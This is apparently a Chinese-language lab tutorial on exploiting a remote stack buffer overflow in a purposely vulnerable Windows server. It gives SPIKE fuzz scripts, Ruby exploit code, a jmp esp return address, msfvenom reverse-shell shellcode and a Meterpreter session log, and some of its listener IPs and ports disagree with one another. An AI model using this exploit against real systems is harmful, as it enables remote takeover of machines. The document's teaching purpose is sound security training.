远程缓冲区溢出分析

缓冲区溢出攻击很容易被攻击者利用,因为C/C++语言并没有自动检测缓冲区溢出操作,同时程序编写人员在编写代码时也很难始终检查缓冲区是否可能溢出.利用溢出,攻击者可以将期望数据写入漏洞程序内存中的任意位置,甚至包括控制程序执行流的关键数据(比如函数调用后的返回地址),从而控制程序的执行过程并实施恶意行为.

该笔记用于帮助读者理解远程缓冲区溢出的挖掘,以及编写漏洞利用程序片段,下面在进行实验前,读者应该具备一定得汇编代码阅读能力,以及对基本渗透工具的使用,并且请确保准备好以下测试环境:

靶机主机:windows Server2008 (MyServer应用) 192.168.1.10
攻击主机::kali linux 192.168.1.2
课件下载:https://www.cnblogs.com/LyShark/p/11105516.html

缓冲区溢出的常用攻击方法是将恶意代码 shellcode 注入到程序中,并用其地址来覆盖程序本身函数调用的返回地址,使得返回时执行此恶意代码而不是原本应该执行的代码.也就是说,这种攻击在实施时通常首先要将恶意代码注入目标漏洞程序中,并能够得到远程系统的控制权.


在这里笔者使用C语言编写了一个带有漏洞的Server服务程序,并运行在Windows Server2008系统上,当你运行该服务程序后,该服务会自动开启本地的9999 号端口,你可以使用NetCat,Telnet进行远程连接,当你连接后服务器会分配一个随机的Shell环境,此时可以执行一些基本的测试命令.

远程缓冲区溢出分析_第1张图片

下面我们将使用NetCat工具连接服务器,NC工具连接后,你可以执行一些测试函数,这些函数里面有一些带有漏洞,而一些则没有,这里你可以使用help来查询远程服务器所支持的命令,也可以使用trun |的方式调用命令,为了用户能够准确的将实验进行下去,我这里在每个函数后面备注了信息,其中标注有yes的函数是存在漏洞的,相反的则是不存在漏洞的函数.

C:// > nc 192.168.1.10 9999
[Shell] # help
[Shell] # trun | hello lyshark


执行模糊测试

模糊测试(Fuzzing),是用于漏洞挖掘的探测工作,主要用于发现那些函数存在漏洞,通过向目标系统提供非预期的输入并监视异常结果来发现软件漏洞的方法,其原理主要是通过输入大量数据,发现程序中存在的问题.可以通过使程序某些内容溢出出现异常,或者输入的是程序规定的范围内的数据结果出现异常,从而找出程序的bug.

尽管当今有许多模糊测试工具可以使用,但是在Kali Linux系统中默认集成了SPIKE,从技术上讲SPIKE实际上是一个模糊器创建工具包,它提供了API允许用户使用C语言基于网络的协议来创建自己的fuzzer,该工具可以通过编写脚本的方式进行测试任务,而无须自行编写上百行的测试代码.

创建测试脚本: 在测试之前,首先我们先来创建一个测试脚本,该脚本命名为lyshark.spk,脚本的内容如下.

root@kali:~# vim lyshark.spk

s_readline();              # 接收第一行的数据
s_string("stats |");       # 向目标发送字串开头
s_string_variable("A");    # 发送的主体字符串

测试STATS函数: 我们使用generic_send_tcp进行测试,测试服务器程序中stats函数是否存在漏洞,其命令如下:

root@kali:~# generic_send_tcp 192.168.1.10 9999 lyshark.spk 0 0

Fuzzing Variable 0:1198
line read=
Fuzzing Variable 0:1199
line read=
Fuzzing Variable 0:1200
line read=
Fuzzing Variable 0:1201
line read=
Fuzzing Variable 0:1202
line read=
Fuzzing Variable 0:1203
^C
root@kali:~#

经过上面的测试后,发现服务器程序并没有崩溃,只是出现了一些错误日志,则说明stats函数不存在远程溢出漏洞,接着我们修改测试代码,并继续测试.

修改测试脚本: 我们接着打开lyshark.spk这个测试脚本,修改测试函数,这里改为trun即可.

root@kali:~# vim lyshark.spk

s_readline();              # 接收第一行的数据
s_string("trun |");        # 向目标发送字串开头
s_string_variable("A");    # 发送的主体字符串

测试TRUN函数: 我们使用generic_send_tcp进行测试,测试服务器程序中trun函数是否存在漏洞,其命令如下:

root@kali:~# generic_send_tcp 192.168.1.10 9999 lyshark.spk 0 0

Fuzzing Variable 0:1198
line read=
Fuzzing Variable 0:1199
line read=
Fuzzing Variable 0:1200
line read=
Fuzzing Variable 0:1201
line read=
Fuzzing Variable 0:1202
line read=
Fuzzing Variable error
^C
root@kali:~#

经过上面的模糊测试,你会发现服务器端崩溃了,我们的服务器在应对二进制字符串时表现异常,其实这就是一个典型的远程缓冲区溢出漏洞,之所以会崩溃的原因是因为缓冲区没有进行合理的边界检测,从而超出了缓冲区的容量,恶意的字符串覆盖了EIP指针,导致服务器不知道下一跳去哪里取指令,从而崩溃了.

控制EIP指针

在上面的模糊测试环节,我们已经清楚的知道路目标服务器的,trun函数存在远程缓冲区溢出漏洞,接下来我们就来测试一下目标缓冲区的大小,这也是控制EIP指针的前提条件,现在我们需要具体的知道使用多少个字节才能够不多不少的覆盖掉程序中EIP寄存器,首先先来创建一个Ruby脚本,来完成远程对缓冲区的填充,这里Ruby的代码如下.

root@kali:~# vim lyshark.rb

require 'socket'
host = '192.168.1.10'
port = 9999
sock = TCPSocket.open(host, port)

command = "trun |"              # 指定要测试的函数
header = "/.:/"                 # 数据包发送固定写法
buf = "A" * 2000                # 生成2000个A(猜测)
eip = "BBBB"                    # 暂且填充为BBBB
nops = "\x90" * 20              # 填充20个nop指令

sock.gets()                              # 获取服务端返回的字符串
sock.puts( command+header+buf+eip+nops ) # 开始发送2000个A
sock.close

root@kali:~# ruby lyshark.rb

上面的代码主要作用是,生成2000个A,在Kali上运行代码后,发现服务器崩溃了,崩溃事件中还提供了具体的EIP地址,这说明脚本正常工作了.

远程缓冲区溢出分析_第2张图片

接下来我们在服务器上,使用x64dbg调试器附加到MyServer.exe这个服务程序的进程上,并在调试器附加的基础上,再次执行lyshark.rb这个脚本.

远程缓冲区溢出分析_第3张图片

当脚本运行后,不出所料程序再次崩溃,这里我们主要关心崩溃后的堆栈情况,下图可发现EIP指针为90904242,也就是说当前EIP一半在nop雪橇上另一半在AA上,由此我们可以猜测此时我们填充少了.

远程缓冲区溢出分析_第4张图片

通过上面的EIP覆盖情况,发现填充物少填充了2个字符,接着我们修改攻击脚本,将填充物改大一些,这次我们改成2002,也就是说向远程堆栈内填充2002个A,重新运行服务器上的服务,并再次运行攻击脚本.

require 'socket'
host = '192.168.1.10'
port = 9999

sock = TCPSocket.open(host, port)

command = "trun |"              # 指定要测试的函数
header = "/.:/"                 # 数据包发送固定写法
buf = "A" * 2002                # 生成2002个A
eip = "BBBB"                    # 方便区分
nops = "\x90" * 50

sock.gets()
sock.puts( command+header+buf+eip+nops ) # 发送2002个A
sock.close

root@kali:~# ruby lyshark.rb

当攻击脚本运行后,我们查看一下EIP指针的位置,你会发现此时的EIP地址已经指向了42424242,也就是我们脚本中填充的eip = "BBBB",由此可得出填充物的大小刚好为2002个A,在下图的堆栈区域中,也可以清晰地看到我们填充的AAAAnop雪橇的分界线.

远程缓冲区溢出分析_第5张图片


构建漏洞攻击过程

在上面的环节中我们已经确定了填充物的大小,但细心的你会发现程序每次运行其栈地址都是随机变化的,在Windows漏洞利用过程中,由于动态链接库的装入和卸载等原因,Windows进程的函数栈帧可能产生移位,即ShellCode在内存中的地址是动态变化的,因此需要Exploit(漏洞利用代码)在运行时动态定位栈中的ShellCode地址.

我们第一步就是寻找一个跳板,能够动态的定位栈地址的位置,在这里我们使用jmp esp作为跳板指针,其基本思路就是,使用内存中任意一个jmp esp的地址覆盖返回地址,函数返回后被重定向去执行内存中jmp esp指令,而esp寄存器的地址正好是我们布置好的nop雪橇的位置,此时EIP指针就会顺着nop雪橇滑向我们构建好的恶意代码,从而触发我们预先布置好的ShellCode代码.

选择模块: 首先通过x64dbg调试器附加服务程序,然后选择符号菜单,这里我找到了kernelbase.dll这个外部模块,模块的选择是随机的,只要模块内部存在jmp esp指令就可以利用.

远程缓冲区溢出分析_第6张图片

搜索跳板: 接着搜索该模块中的jmp esp指令,因为这个指令地址是固定的,我们就将EIP指针跳转到这里,又因esp寄存器存储着当前的栈地址,所以刚好跳转到我们布置好的nop雪橇的位置上.

远程缓冲区溢出分析_第7张图片

x64dbg调试器的反汇编界面中,按下ctrl + f 搜索,并记录下这个搜寻到的地址0x77433f73,其实这里随便一个只要是jmp esp 指令的都可以,我们将其作为EIP的跳转地址.

生成漏洞利用代码

当然可以从零开始构建漏洞攻击所使用的ShellCode但这需要你具备汇编的编程能力,不过庆幸的是Metaspoloit在这方面可以为我们做很多,我们可以通过MSF提供的msfvenom命令快速的生成一个有效载荷.

root@kali:~# msfvenom -a x86 --platform Windows \
>                              -p windows/meterpreter/reverse_tcp \
>                              -b '\x00\x0b' LHOST=192.168.1.2 LPORT=9999 -f ruby

Found 11 compatible encoders
Payload size: 368 bytes
Final size of ruby file: 1612 bytes
buf =
"\xba\x94\x23\x08\x8e\xdb\xd1\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x56\x31\x56\x13\x03\x56\x13\x83\xee\x68\xc1\xfd\x72" +
"\x78\x84\xfe\x8a\x78\xe9\x77\x6f\x49\x29\xe3\xfb\xf9\x99" +

最后在msf控制主机,启动一个侦听器,等待我们的攻击脚本运行。

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > set lhost 192.168.1.10
lhost => 192.168.1.10
msf5 exploit(multi/handler) > set lport 9999
lport => 8888
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.10:9999

经过上面的步骤我们已经构建出了漏洞利用代码,此时我们运行构建好的攻击代码。

require 'socket'
host = '192.168.1.10'
port = 9999
sock = TCPSocket.open(host, port)

command = "trun |"       #数据包包头写法
header = "/.:/"          #数据包发送固定写法

buf = "A" * 2002         #2002个字节刚好填充满
eip = "\x73\x3f\x43\x77" #EIP=77433F73  将该地址反写
nops = "\x90" * 20       #此处是nop雪橇填充的20个字节

shellcode =
"\xd9\xf7\xd9\x74\x24\xf4\x5a\xbb\xc8\xbb\x47\x96\x29\xc9" +
"\xb1\x56\x31\x5a\x18\x83\xc2\x04\x03\x5a\xdc\x59\xb2\x6a" +
"\x34\x1f\x3d\x93\xc4\x40\xb7\x76\xf5\x40\xa3\xf3\xa5\x70" +
"\xa7\x56\x49\xfa\xe5\x42\xda\x8e\x21\x64\x6b\x24\x14\x4b" +
"\x6c\x15\x64\xca\xee\x64\xb9\x2c\xcf\xa6\xcc\x2d\x08\xda" +
"\x3d\x7f\xc1\x90\x90\x90\x66\xec\x28\x1a\x34\xe0\x28\xff" +
"\x8c\x03\x18\xae\x87\x5d\xba\x50\x44\xd6\xf3\x4a\x89\xd3" +
"\x4a\xe0\x79\xaf\x4c\x20\xb0\x50\xe2\x0d\x7d\xa3\xfa\x4a" +
"\xb9\x5c\x89\xa2\xba\xe1\x8a\x70\xc1\x3d\x1e\x63\x61\xb5" +
"\xb8\x4f\x90\x1a\x5e\x1b\x9e\xd7\x14\x43\x82\xe6\xf9\xff" +
"\xbe\x63\xfc\x2f\x37\x37\xdb\xeb\x1c\xe3\x42\xad\xf8\x42" +
"\x7a\xad\xa3\x3b\xde\xa5\x49\x2f\x53\xe4\x05\x9c\x5e\x17" +
"\x71\xe3\xf6\xf7"

sock.gets()
sock.puts( command+header+buf+eip+nops+shellcode )
sock.close

查看攻击主机,即可看到一个反向连接shell,此时我们可以远程执行任意命令。

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.10:9999
[*] Sending stage (179779 bytes) to 192.168.1.10
[*] Meterpreter session 1 opened (192.168.1.10:9999 -> 192.168.1.2:9900) at 2019-03-27

meterpreter > sysinfo
Computer        : web-server
OS              : Windows Server2008.
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >

教程到这里就结束了,这里只是一个挖掘漏洞的小例子,根据这个例子读者就可以了解漏洞挖掘的具体流程,其实大多数漏洞挖掘无外乎这些步骤,只是在一些方面会有一些差异而已,但大同小异.


写教程不容易,转载请加出处!!

你可能感兴趣的:(远程缓冲区溢出分析)